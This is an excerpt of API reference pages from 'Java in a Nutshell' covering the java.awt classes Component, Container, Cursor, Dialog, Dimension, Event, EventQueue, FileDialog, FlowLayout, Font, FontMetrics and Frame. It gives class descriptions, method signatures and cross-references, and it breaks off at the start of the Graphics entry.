java.awt.Choice (JDK 1.0) | Book Index | java.awt.Component (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.15 java.awt.Component (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.15 java.awt.Component (JDK 1.0)

Component is the superclass of all GUI components (except menu components) in the java.awt package. You may not instantiate a Component directly; you must use a subclass.

Component defines many methods. Some of these are intended to be implemented by subclasses. Some are used internally by the AWT. Some are to be implemented to handle events. And many are useful utility methods for working with GUI components. getParent() returns the Container that a Component is contained in. setBackground(), setForeground(), and setFont() set the specified display attributes of a component. hide(), show(), enable(), and disable() perform the specified actions for a component. createImage() creates an Image object from a specified ImageProducer, or creates an offscreen image that can be draw into and used for double-buffering during animation. Component also has quite a few deprecated methods as a result of the Java 1.1 event model and the introduction of the JavaBeans method naming conventions. The class defines quite a few methods for handling many types of events using the 1.0 model and the 1.1 model in both its high-level and low-level forms.

public abstract class Component extends Object implements ImageObserver, MenuContainer, Serializable {
    // Protected Constructor
        1.1  protected Component();
    // Constants
        1.1  public static final float BOTTOM_ALIGNMENT;
        1.1  public static final float CENTER_ALIGNMENT;
        1.1  public static final float LEFT_ALIGNMENT;
        1.1  public static final float RIGHT_ALIGNMENT;
        1.1  public static final float TOP_ALIGNMENT;
    // Public Instance Methods
         #  public boolean action(Event evt, Object what);
        1.1  public synchronized void add(PopupMenu popup);
        1.1  public synchronized void addComponentListener(ComponentListener l);
        1.1  public synchronized void addFocusListener(FocusListener l);
        1.1  public synchronized void addKeyListener(KeyListener l);
        1.1  public synchronized void addMouseListener(MouseListener l);
        1.1  public synchronized void addMouseMotionListener(MouseMotionListener l);
             public void addNotify();
         #  public Rectangle bounds();
             public int checkImage(Image image, ImageObserver observer);
             public int checkImage(Image image, int width, int height, ImageObserver observer);
        1.1  public boolean contains(int x, int y);
        1.1  public boolean contains(Point p);
             public Image createImage(ImageProducer producer);
             public Image createImage(int width, int height);
         #  public void deliverEvent(Event e);
         #  public void disable();
        1.1  public final void dispatchEvent(AWTEvent e);
        1.1  public void doLayout();
         #  public void enable();
         #  public void enable(boolean b);
        1.1  public float getAlignmentX();
        1.1  public float getAlignmentY();
             public Color getBackground();
        1.1  public Rectangle getBounds();
             public ColorModel getColorModel();
        1.1  public Component getComponentAt(int x, int y);
        1.1  public Component getComponentAt(Point p);
        1.1  public Cursor getCursor();
             public Font getFont();  // From MenuContainer
             public FontMetrics getFontMetrics(Font font);
             public Color getForeground();
             public Graphics getGraphics();
        1.1  public Locale getLocale();
        1.1  public Point getLocation();
        1.1  public Point getLocationOnScreen();
        1.1  public Dimension getMaximumSize();
        1.1  public Dimension getMinimumSize();
        1.1  public String getName();
             public Container getParent();
         #  public ComponentPeer getPeer();
        1.1  public Dimension getPreferredSize();
        1.1  public Dimension getSize();
             public Toolkit getToolkit();
        1.1  public final Object getTreeLock();
         #  public boolean gotFocus(Event evt, Object what);
         #  public boolean handleEvent(Event evt);
         #  public void hide();
            public boolean imageUpdate(Image img, int flags, int x, int y, int w, int h);  // From ImageObserver
         #  public boolean inside(int x, int y);
            public void invalidate();
            public boolean isEnabled();
        1.1  public boolean isFocusTraversable();
            public boolean isShowing();
            public boolean isValid();
            public boolean isVisible();
         #  public boolean keyDown(Event evt, int key);
         #  public boolean keyUp(Event evt, int key);
         #  public void layout();
            public void list();
            public void list(PrintStream out);
            public void list(PrintStream out, int indent);
        1.1  public void list(PrintWriter out);
        1.1  public void list(PrintWriter out, int indent);
         #  public Component locate(int x, int y);
         #  public Point location();
         #  public boolean lostFocus(Event evt, Object what);
         #  public Dimension minimumSize();
         #  public boolean mouseDown(Event evt, int x, int y);
         #  public boolean mouseDrag(Event evt, int x, int y);
         #  public boolean mouseEnter(Event evt, int x, int y);
         #  public boolean mouseExit(Event evt, int x, int y);
         #  public boolean mouseMove(Event evt, int x, int y);
         #  public boolean mouseUp(Event evt, int x, int y);
         #  public void move(int x, int y);
         #  public void nextFocus();
            public void paint(Graphics g);
            public void paintAll(Graphics g);
         #  public boolean postEvent(Event e);  // From MenuContainer
         #  public Dimension preferredSize();
            public boolean prepareImage(Image image, ImageObserver observer);
            public boolean prepareImage(Image image, int width, int height, ImageObserver observer);
            public void print(Graphics g);
            public void printAll(Graphics g);
        1.1  public synchronized void remove(MenuComponent popup);  // From MenuContainer
        1.1  public synchronized void removeComponentListener(ComponentListener l);
        1.1  public synchronized void removeFocusListener(FocusListener l);
        1.1  public synchronized void removeKeyListener(KeyListener l);
        1.1  public synchronized void removeMouseListener(MouseListener l);
        1.1  public synchronized void removeMouseMotionListener(MouseMotionListener l);
            public void removeNotify();
            public void repaint();
            public void repaint(long tm);
            public void repaint(int x, int y, int width, int height);
            public void repaint(long tm, int x, int y, int width, int height);
            public void requestFocus();
         #  public void reshape(int x, int y, int width, int height);
         #  public void resize(int width, int height);
         #  public void resize(Dimension d);
            public void setBackground(Color c);
        1.1  public void setBounds(int x, int y, int width, int height);
        1.1  public void setBounds(Rectangle r);
        1.1  public synchronized void setCursor(Cursor cursor);
        1.1  public void setEnabled(boolean b);
            public synchronized void setFont(Font f);
            public void setForeground(Color c);
        1.1  public void setLocale(Locale l);
        1.1  public void setLocation(int x, int y);
        1.1  public void setLocation(Point p);
        1.1  public void setName(String name);
        1.1  public void setSize(int width, int height);
        1.1  public void setSize(Dimension d);
        1.1  public void setVisible(boolean b);
        #   public void show();
        #   public void show(boolean b);
        #   public Dimension size();
            public String toString();  // Overrides Object
        1.1  public void transferFocus();
            public void update(Graphics g);
            public void validate();
    // Protected Instance Methods
        1.1  protected final void disableEvents(long eventsToDisable);
        1.1  protected final void enableEvents(long eventsToEnable);
            protected String paramString();
        1.1  protected void processComponentEvent(ComponentEvent e);
        1.1  protected void processEvent(AWTEvent e);
        1.1  protected void processFocusEvent(FocusEvent e);
        1.1  protected void processKeyEvent(KeyEvent e);
        1.1  protected void processMouseEvent(MouseEvent e);
        1.1  protected void processMouseMotionEvent(MouseEvent e);
}

Extended By:

Button, Canvas, Checkbox, Choice, Container, Label, List, Scrollbar, TextComponent

Passed To:

BorderLayout.addLayoutComponent(),
BorderLayout.removeLayoutComponent(),
CardLayout.addLayoutComponent(),
CardLayout.removeLayoutComponent(),
ComponentEvent(),
Container.add(),
Container.addImpl(),
Container.isAncestorOf(),
Container.remove(),
ContainerEvent(),
FlowLayout.addLayoutComponent(),
FlowLayout.removeLayoutComponent(),
FocusEvent(),
GridBagLayout.addLayoutComponent(),
GridBagLayout.getConstraints(),
GridBagLayout.lookupConstraints(),
GridBagLayout.removeLayoutComponent(),
GridBagLayout.setConstraints(),
GridLayout.addLayoutComponent(),
GridLayout.removeLayoutComponent(),
KeyEvent(),
LayoutManager.addLayoutComponent(),
LayoutManager.removeLayoutComponent(),
LayoutManager2.addLayoutComponent(),
MediaTracker(),
MouseEvent(),
PaintEvent(),
PopupMenu.show(),
ScrollPane.addImpl(),
Toolkit.createComponent(),
Toolkit.getNativeContainer()

Returned By:

Component.getComponentAt(),
Component.locate(),
ComponentEvent.getComponent(),
Container.add(),
Container.getComponent(),
Container.getComponentAt(),
Container.getComponents(),
Container.locate(),
ContainerEvent.getChild(),
PropertyEditor.getCustomEditor(),
PropertyEditorSupport.getCustomEditor(),
Window.getFocusOwner()

Previous | Home | Next
java.awt.Color (JDK 1.0) | Book Index | java.awt.Container (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.16 java.awt.Container (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.16 java.awt.Container (JDK 1.0)

This class implements a component that can contain other components. You cannot instantiate Container directly, but must use one of its subclasses, such as Panel, Frame, or Dialog. Once a Container is created, you may set its LayoutManager with setLayout(), add components to it with add(), and remove them with remove(). getComponents() returns an array of the components contained in a Container. locate() determines within which contained component a specified point falls. list() produces helpful debugging output.

public abstract class Container extends Component {
    // Protected Constructor
        1.1  protected Container();
    // Public Instance Methods
            public Component add(Component comp);
            public Component add(String name, Component comp);
            public Component add(Component comp, int index);
        1.1  public void add(Component comp, Object constraints);
        1.1  public void add(Component comp, Object constraints, int index);
        1.1  public void addContainerListener(ContainerListener l);
            public void addNotify();  // Overrides Component
        #   public int countComponents();
        #   public void deliverEvent(Event e);  // Overrides Component
        1.1  public void doLayout();  // Overrides Component
        1.1  public float getAlignmentX();  // Overrides Component
        1.1  public float getAlignmentY();  // Overrides Component
            public Component getComponent(int n);
        1.1  public Component getComponentAt(int x, int y);  // Overrides Component
        1.1  public Component getComponentAt(Point p);  // Overrides Component
        1.1  public int getComponentCount();
            public Component[] getComponents();
        1.1  public Insets getInsets();
            public LayoutManager getLayout();
        1.1  public Dimension getMaximumSize();  // Overrides Component
        1.1  public Dimension getMinimumSize();  // Overrides Component
        1.1  public Dimension getPreferredSize();  // Overrides Component
        #   public Insets insets();
        1.1  public void invalidate();  // Overrides Component
        1.1  public boolean isAncestorOf(Component c);
        #   public void layout();  // Overrides Component
            public void list(PrintStream out, int indent);  // Overrides Component
        1.1  public void list(PrintWriter out, int indent);  // Overrides Component
        #   public Component locate(int x, int y);  // Overrides Component
        #   public Dimension minimumSize();  // Overrides Component
        1.1  public void paint(Graphics g);  // Overrides Component
            public void paintComponents(Graphics g);
        #   public Dimension preferredSize();  // Overrides Component
        1.1  public void print(Graphics g);  // Overrides Component
            public void printComponents(Graphics g);
        1.1  public void remove(int index);
            public void remove(Component comp);
            public void removeAll();
        1.1  public void removeContainerListener(ContainerListener l);
            public void removeNotify();  // Overrides Component
            public void setLayout(LayoutManager mgr);
            public void validate();  // Overrides Component
    // Protected Instance Methods
        1.1  protected void addImpl(Component comp, Object constraints, int index);
            protected String paramString();  // Overrides Component
        1.1  protected void processContainerEvent(ContainerEvent e);
        1.1  protected void processEvent(AWTEvent e);  // Overrides Component
        1.1  protected void validateTree();
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Container

Extended By:

Panel, ScrollPane, Window

Passed To:

BorderLayout.getLayoutAlignmentX(),
BorderLayout.getLayoutAlignmentY(),
BorderLayout.invalidateLayout(),
BorderLayout.layoutContainer(),
BorderLayout.maximumLayoutSize(),
BorderLayout.minimumLayoutSize(),
BorderLayout.preferredLayoutSize(),
CardLayout.first(),
CardLayout.getLayoutAlignmentX(),
CardLayout.getLayoutAlignmentY(),
CardLayout.invalidateLayout(),
CardLayout.last(),
CardLayout.layoutContainer(),
CardLayout.maximumLayoutSize(),
CardLayout.minimumLayoutSize(),
CardLayout.next(),
CardLayout.preferredLayoutSize(),
CardLayout.previous(),
CardLayout.show(),
FlowLayout.layoutContainer(),
FlowLayout.minimumLayoutSize(),
FlowLayout.preferredLayoutSize(),
GridBagLayout.ArrangeGrid(),
GridBagLayout.getLayoutAlignmentX(),
GridBagLayout.getLayoutAlignmentY(),
GridBagLayout.GetLayoutInfo(),
GridBagLayout.GetMinSize(),
GridBagLayout.invalidateLayout(),
GridBagLayout.layoutContainer(),
GridBagLayout.maximumLayoutSize(),
GridBagLayout.minimumLayoutSize(),
GridBagLayout.preferredLayoutSize(),
GridLayout.layoutContainer(),
GridLayout.minimumLayoutSize(),
GridLayout.preferredLayoutSize(),
LayoutManager.layoutContainer(),
LayoutManager.minimumLayoutSize(),
LayoutManager.preferredLayoutSize(),
LayoutManager2.getLayoutAlignmentX(),
LayoutManager2.getLayoutAlignmentY(),
LayoutManager2.invalidateLayout(),
LayoutManager2.maximumLayoutSize()

Returned By:

Component.getParent(),
ContainerEvent.getContainer(),
Toolkit.getNativeContainer()

Previous | Home | Next
java.awt.Component (JDK 1.0) | Book Index | java.awt.Cursor (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.17 java.awt.Cursor (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.17 java.awt.Cursor (JDK 1.1)

This class represents a mouse cursor. It defines a number of constants, each of which specify one of the supported cursor images. Pass one of these constants to the constructor to create a cursor of the specified type, and call getType() to determine the type of an existing Cursor object.

Since there are only a fixed number of available cursors, the static method getPredefinedCursor() is more efficient than the Cursor() constructor--it maintains a cache of Cursor objects that can be reused. The static getDefaultCursor() method returns the system default cursor.

public class Cursor extends Object implements Serializable {
    // Public Constructor
            public Cursor(int type);
    // Cursor Constants
            public static final int DEFAULT_CURSOR;
            public static final int CROSSHAIR_CURSOR, HAND_CURSOR, MOVE_CURSOR;
            public static final int TEXT_CURSOR, WAIT_CURSOR;
            public static final int N_RESIZE_CURSOR, S_RESIZE_CURSOR;
            public static final int E_RESIZE_CURSOR, W_RESIZE_CURSOR;
            public static final int NE_RESIZE_CURSOR, NW_RESIZE_CURSOR;
            public static final int SE_RESIZE_CURSOR, SW_RESIZE_CURSOR;
    // Class Variables
            protected static Cursor[] predefined;
    // Class Methods
            public static Cursor getDefaultCursor();
            public static Cursor getPredefinedCursor(int type);
    // Public Instance Methods
            public int getType();
}

Passed To:

Component.setCursor(), ComponentPeer.setCursor()

Returned By:

Component.getCursor(),
Cursor.getDefaultCursor(),
Cursor.getPredefinedCursor()

Type Of:

Cursor.predefined

Previous | Home | Next
java.awt.Container (JDK 1.0) | Book Index | java.awt.Dialog (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.18 java.awt.Dialog (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.18 java.awt.Dialog (JDK 1.0)

This class represents a dialog box window. A Dialog may be modal so that it blocks user input to all other windows until dismissed, may optionally have a title, and may be resizable. A Dialog object is a Container and Component objects can be added to it in the normal way with the add() method. The default LayoutManager for Dialog is BorderLayout. You may specify a different LayoutManager object with setLayout(). Call the pack() method of Window to initiate layout management of the dialog and set its initial size appropriately. Call show() to pop a dialog up, and hide() to pop it down. For modal dialogs, show() blocks until the dialog is dismissed. Event handling continues while show() is blocked, using a new event dispatcher thread. In Java 1.0, show() is inherited from Window. Call the Window.dispose() method when the Dialog is no longer needed so that its window system resources may be reused.

public class Dialog extends Window {
    // Public Constructors
        1.1  public Dialog(Frame parent);
            public Dialog(Frame parent, boolean modal);
        1.1  public Dialog(Frame parent, String title);
            public Dialog(Frame parent, String title, boolean modal);
    // Public Instance Methods
            public void addNotify();  // Overrides Window
            public String getTitle();
            public boolean isModal();
            public boolean isResizable();
        1.1  public void setModal(boolean b);
            public synchronized void setResizable(boolean resizable);
            public synchronized void setTitle(String title);
        1.1  public void show();  // Overrides Window
    // Protected Instance Methods
            protected String paramString();  // Overrides Container
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)-> Container->Window->Dialog

Extended By:

FileDialog

Passed To:

Toolkit.createDialog()

Previous | Home | Next
java.awt.Cursor (JDK 1.1) | Book Index | java.awt.Dimension (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.19 java.awt.Dimension (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.19 java.awt.Dimension (JDK 1.0)

This class has two public instance variables that describe the width and height of something. The width and height fields are public and may be manipulated directly.

public class Dimension extends Object implements Serializable {
    // Public Constructors
            public Dimension();
            public Dimension(Dimension d);
            public Dimension(int width, int height);
    // Public Instance Variables
            public int height;
            public int width;
    // Public Instance Methods
        1.1  public boolean equals(Object obj);  // Overrides Object
        1.1  public Dimension getSize();
        1.1  public void setSize(Dimension d);
        1.1  public void setSize(int width, int height);
            public String toString();  // Overrides Object
}

Passed To:

Applet.resize(),
Component.resize(),
Component.setSize(),
Dimension(),
Dimension.setSize(),
Rectangle(),
Rectangle.setSize()

Returned By:

Many methods

Previous | Home | Next
java.awt.Dialog (JDK 1.0) | Book Index | java.awt.Event (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.20 java.awt.Event (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.20 java.awt.Event (JDK 1.0)

This class contains public instance variables that describe some kind of GUI event. In Java 1.1, this class has been superseded by AWTEvent and the java.awt.event package.

The class contains a large number of constants. Some of the constants specify the event type and are values for the id variable. Other constants are values for keys, like the function keys, that do not have ASCII (or Latin-1) values, and are set on the key field. Other constants are mask values that are ORed into the modifiers field to describe the state of the modifier keys on the keyboard. The target field is very important--it is the object for which the event occurred. The when field specifies when the event occurred. The x and y fields specify the mouse coordinates at which it occurred. Finally, the arg field is a value specific to the type of the event. Not all fields have valid values for all types of events.

public class Event extends Object implements Serializable {
    // Public Constructors
            public Event(Object target, long when, int id, int x, int y, int key, int modifiers, Object arg);
            public Event(Object target, long when, int id, int x, int y, int key, int modifiers);
            public Event(Object target, int id, Object arg);
    // Event Type Constants
            public static final int ACTION_EVENT;
            public static final int GOT_FOCUS, LOST_FOCUS;
            public static final int KEY_ACTION, KEY_ACTION_RELEASE;
            public static final int KEY_PRESS, KEY_RELEASE;
            public static final int LIST_SELECT, LIST_DESELECT;
            public static final int LOAD_FILE, SAVE_FILE;
            public static final int MOUSE_DOWN, MOUSE_UP;
            public static final int MOUSE_DRAG, MOUSE_MOVE;
            public static final int MOUSE_ENTER, MOUSE_EXIT;
            public static final int SCROLL_ABSOLUTE;
        1.1  public static final int SCROLL_BEGIN, SCROLL_END;
            public static final int SCROLL_LINE_DOWN, SCROLL_LINE_UP;
            public static final int SCROLL_PAGE_DOWN, SCROLL_PAGE_UP;
            public static final int WINDOW_EXPOSE;
            public static final int WINDOW_ICONIFY, WINDOW_DEICONIFY;
            public static final int WINDOW_DESTROY;
            public static final int WINDOW_MOVED;
    // Keyboard Modifier Constants
            public static final int ALT_MASK;
            public static final int CTRL_MASK;
            public static final int META_MASK;
            public static final int SHIFT_MASK;
    // Function Key Constants
            public static final int F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12;
            public static final int LEFT, RIGHT, UP, DOWN;
            public static final int PGUP, PGDN;
            public static final int HOME, END;
        1.1  public static final int INSERT, DELETE;
        1.1  public static final int BACK_SPACE;
        1.1  public static final int ENTER;
        1.1  public static final int ESCAPE;
        1.1  public static final int TAB;
        1.1  public static final int CAPS_LOCK, NUM_LOCK, SCROLL_LOCK;
        1.1  public static final int PAUSE, PRINT_SCREEN;
    // Public Instance Variables
            public Object arg;
            public int clickCount;
            public Event evt;
            public int id;
            public int key;
            public int modifiers;
            public Object target;
            public long when;
            public int x;
            public int y;
    // Public Instance Methods
            public boolean controlDown();
            public boolean metaDown();
            public boolean shiftDown();
            public String toString();  // Overrides Object
            public void translate(int x, int y);
    // Protected Instance Methods
            protected String paramString();
}

Passed To:

AWTEvent(),
Component.action(),
Component.deliverEvent(),
Component.gotFocus(),
Component.handleEvent(),
Component.keyDown(),
Component.keyUp(),
Component.lostFocus(),
Component.mouseDown(),
Component.mouseDrag(),
Component.mouseEnter(),
Component.mouseExit(),
Component.mouseMove(),
Component.mouseUp(),
Component.postEvent(),
Container.deliverEvent(),
MenuComponent.postEvent(),
MenuContainer.postEvent(),
PopupMenuPeer.show(),
Window.postEvent()

Type Of:

Event.evt

Previous | Home | Next
java.awt.Dimension (JDK 1.0) | Book Index | java.awt.EventQueue (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.21 java.awt.EventQueue (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.21 java.awt.EventQueue (JDK 1.1)

This class implements an event queue for AWT events in Java 1.1. When an EventQueue is created, a new thread is automatically created and started to remove events from the front of the queue and dispatch them to the appropriate component. It is this thread, created by the EventQueue, that notifies event listeners and executes most of the code in a typical GUI-driven application.

An application can create and use its own private EventQueue, but all AWT events are placed on and dispatched from a single system EventQueue. Use the getSystemEventQueue() method of the Toolkit class to get the system EventQueue object.

getNextEvent() removes and returns the event at the front of the queue. It blocks if there are no events in the queue. peekEvent() returns the event at the front of the queue without removing it from the queue. Passed an optional AWTEvent id field, it returns the first event of the specified type. Finally, postEvent() places a new event on the end of the event queue.

Most applications do not need to use the EventQueue class at all; they can simply rely on the system to dispatch events automatically.

public class EventQueue extends Object {
    // Public Constructor
            public EventQueue();
    // Public Instance Methods
            public synchronized AWTEvent getNextEvent() throws InterruptedException;
            public synchronized AWTEvent peekEvent();
            public synchronized AWTEvent peekEvent(int id);
            public synchronized void postEvent(AWTEvent theEvent);
}

Returned By:

Toolkit.getSystemEventQueue(), Toolkit.getSystemEventQueueImpl()

Previous | Home | Next
java.awt.Event (JDK 1.0) | Book Index | java.awt.FileDialog (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.22 java.awt.FileDialog (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.22 java.awt.FileDialog (JDK 1.0)

This class represents a file selection dialog box. The constants LOAD and SAVE are values of an optional constructor argument that specifies whether the dialog should be an Open File dialog or a Save As dialog. You may specify a FilenameFilter object to control which files are displayed in the dialog.

The inherited show() method pops the dialog up. For dialogs of this type, show() blocks, not returning until the user has selected a file and dismissed the dialog (which pops down automatically--you don't have to call hide()). Once show() has returned, use getFile() to get the name of the file the user selected.

public class FileDialog extends Dialog {
    // Public Constructors
        1.1  public FileDialog(Frame parent);
            public FileDialog(Frame parent, String title);
            public FileDialog(Frame parent, String title, int mode);
    // Constants
            public static final int LOAD;
            public static final int SAVE;
    // Public Instance Methods
            public void addNotify();  // Overrides Dialog
            public String getDirectory();
            public String getFile();
            public FilenameFilter getFilenameFilter();
            public int getMode();
            public synchronized void setDirectory(String dir);
            public synchronized void setFile(String file);
            public synchronized void setFilenameFilter(FilenameFilter filter);
        1.1  public void setMode(int mode);
    // Protected Instance Methods
            protected String paramString();  // Overrides Dialog
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)-> Container->Window->Dialog->FileDialog

Passed To:

Toolkit.createFileDialog()

Previous | Home | Next
java.awt.EventQueue (JDK 1.1) | Book Index | java.awt.FlowLayout (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.23 java.awt.FlowLayout (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.23 java.awt.FlowLayout (JDK 1.0)

This class implements the LayoutManager interface to lay out Component objects in a Container. FlowLayout arranges components in a container like words on a page: from left to right and top to bottom. It fits as many components as it can in a row before moving on to the next row. The constructor allows you to specify one of three constants as an alignment value for the rows, and also allows you to specify horizontal spacing between components and vertical spacing between rows.

Note that applications should never call the LayoutManager methods of this class directly; the Container for which the FlowLayout is registered does this.

public class FlowLayout extends Object implements LayoutManager, Serializable {
    // Public Constructors
            public FlowLayout();
            public FlowLayout(int align);
            public FlowLayout(int align, int hgap, int vgap);
    // Constants
            public static final int CENTER;
            public static final int LEFT;
            public static final int RIGHT;
    // Public Instance Methods
            public void addLayoutComponent(String name, Component comp);  // From LayoutManager
        1.1  public int getAlignment();
        1.1  public int getHgap();
        1.1  public int getVgap();
            public void layoutContainer(Container target);  // From LayoutManager
            public Dimension minimumLayoutSize(Container target);  // From LayoutManager
            public Dimension preferredLayoutSize(Container target);  // From LayoutManager
            public void removeLayoutComponent(Component comp);  // From LayoutManager
        1.1  public void setAlignment(int align);
        1.1  public void setHgap(int hgap);
        1.1  public void setVgap(int vgap);
            public String toString();  // Overrides Object
}

Previous | Home | Next
java.awt.FileDialog (JDK 1.0) | Book Index | java.awt.Font (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.24 java.awt.Font (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.24 java.awt.Font (JDK 1.0)

This class represents a font in a platform-independent way. The constructor accepts a font name, style, and point size. In Java 1.0, supported font names are: "TimesRoman," "Helvetica," "Courier," "Dialog," and "DialogInput." In Java 1.1, "Serif," "SansSerif," and "Monospaced" should be used in preference to the first three names. The style may be one of the constants PLAIN, BOLD, or ITALIC, or the sum BOLD+ITALIC.

The class method getFont() looks up the specified name in the system properties list and returns the font specified as the value of that property. It takes an optional Font default to use if the named font property is not found. This allows user customizability.

Use the FontMetrics class if you need to know how tall a font is or how wide a string drawn using that font will be.

public class Font extends Object implements Serializable {
    // Public Constructor
            public Font(String name, int style, int size);
    // Constants
            public static final int BOLD;
            public static final int ITALIC;
            public static final int PLAIN;
    // Protected Instance Variables
            protected String name;
            protected int size;
            protected int style;
    // Class Methods
        1.1  public static Font decode(String str);
            public static Font getFont(String nm);
            public static Font getFont(String nm, Font font);
    // Public Instance Methods
            public boolean equals(Object obj);  // Overrides Object
            public String getFamily();
            public String getName();
        1.1  public FontPeer getPeer();
            public int getSize();
            public int getStyle();
            public int hashCode();  // Overrides Object
            public boolean isBold();
            public boolean isItalic();
            public boolean isPlain();
            public String toString();  // Overrides Object
}

Passed To:

Component.getFontMetrics(),
Component.setFont(),
ComponentPeer.getFontMetrics(),
ComponentPeer.setFont(),
Font.getFont(),
FontMetrics(),
Graphics.getFontMetrics(),
Graphics.setFont(),
MenuComponent.setFont(),
Toolkit.getFontMetrics()

Returned By:

Component.getFont(),
Font.decode(),
Font.getFont(),
FontMetrics.getFont(),
Graphics.getFont(),
MenuComponent.getFont(),
MenuContainer.getFont()

Type Of:

FontMetrics.font

Previous | Home | Next
java.awt.FlowLayout (JDK 1.0) | Book Index | java.awt.FontMetrics (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.25 java.awt.FontMetrics (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.25 java.awt.FontMetrics (JDK 1.0)

This class represents font metrics for a specified Font. The methods allow you to determine the overall metrics for the font (ascent, descent, etc.), and also to compute the width of strings that are to be displayed in a particular font. You can obtain a FontMetrics object for a font with the getFontMetrics() method of Component or Toolkit.

public abstract class FontMetrics extends Object implements Serializable {
    // Protected Constructor
            protected FontMetrics(Font font);
    // Protected Instance Variables
            protected Font font;
    // Public Instance Methods
            public int bytesWidth(byte[] data, int off, int len);
            public int charWidth(int ch);
            public int charWidth(char ch);
            public int charsWidth(char[] data, int off, int len);
            public int getAscent();
            public int getDescent();
            public Font getFont();
            public int getHeight();
            public int getLeading();
            public int getMaxAdvance();
            public int getMaxAscent();
        #   public int getMaxDecent();
            public int getMaxDescent();
            public int[] getWidths();
            public int stringWidth(String str);
            public String toString();  // Overrides Object
}

Returned By:

Component.getFontMetrics(),
ComponentPeer.getFontMetrics(),
Graphics.getFontMetrics(),
Toolkit.getFontMetrics()

Previous | Home | Next
java.awt.Font (JDK 1.0) | Book Index | java.awt.Frame (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.26 java.awt.Frame (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.26 java.awt.Frame (JDK 1.0)

This class represents an optionally resizable top-level application window with a titlebar and other platform-dependent window decorations. setTitle() specifies a title, setMenuBar() specifies a menu bar, setCursor() specifies a cursor, and setIconImage() specifies an icon for the window. Call the pack() method of Window to initiate layout management of the window and set its initial size appropriately. Call the show() method of Window to make a frame appear on the screen or to bring it to the front of the window stack. Call hide() to remove a frame from the screen. Call the dispose() method when the Frame is no longer needed so that it can release its window system resources for reuse.

The constants defined by this class specify various cursor types. In Java 1.1, these constants and the cursor methods of Frame are deprecated in favor of the Cursor class and cursor methods of Component.

public class Frame extends Window implements MenuContainer {
    // Public Constructors
            public Frame();
            public Frame(String title);
    // Constants
            public static final int CROSSHAIR_CURSOR;
            public static final int DEFAULT_CURSOR;
            public static final int E_RESIZE_CURSOR;
            public static final int HAND_CURSOR;
            public static final int MOVE_CURSOR;
            public static final int NE_RESIZE_CURSOR;
            public static final int NW_RESIZE_CURSOR;
            public static final int N_RESIZE_CURSOR;
            public static final int SE_RESIZE_CURSOR;
            public static final int SW_RESIZE_CURSOR;
            public static final int S_RESIZE_CURSOR;
            public static final int TEXT_CURSOR;
            public static final int WAIT_CURSOR;
            public static final int W_RESIZE_CURSOR;
    // Public Instance Methods
            public void addNotify();  // Overrides Window
            public synchronized void dispose();  // Overrides Window
        #   public int getCursorType();
            public Image getIconImage();
            public MenuBar getMenuBar();
            public String getTitle();
            public boolean isResizable();
            public synchronized void remove(MenuComponent m);  // Overrides Component
        #   public synchronized void setCursor(int cursorType);
            public synchronized void setIconImage(Image image);
            public synchronized void setMenuBar(MenuBar mb);
            public synchronized void setResizable(boolean resizable);
            public synchronized void setTitle(String title);
    // Protected Instance Methods
            protected String paramString();  // Overrides Container
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Container->Window->Frame(MenuContainer)

Passed To:

Dialog(),
FileDialog(),
Toolkit.createFrame(),
Toolkit.getPrintJob(),
Window()

Previous | Home | Next
java.awt.FontMetrics (JDK 1.0) | Book Index | java.awt.Graphics (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.27 java.awt.Graphics (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.27 java.awt.Graphics (JDK 1.0)

This abstract class defines a device-independent interface to graphics. It specifies methods for doing line drawing, area filling, image painting, area copying, and graphics output clipping. Specific subclasses of Graphics are implemented for different platforms and different graphics output devices. A Graphics object cannot be created directly through a constructor--it must be obtained with the getGraphics() method of a Component or an Image, or copied from an existing Graphics object with create(). When a Graphics object is no longer needed, you should call dispose() to free up the window system resources it uses.

public abstract class Graphics extends Object {
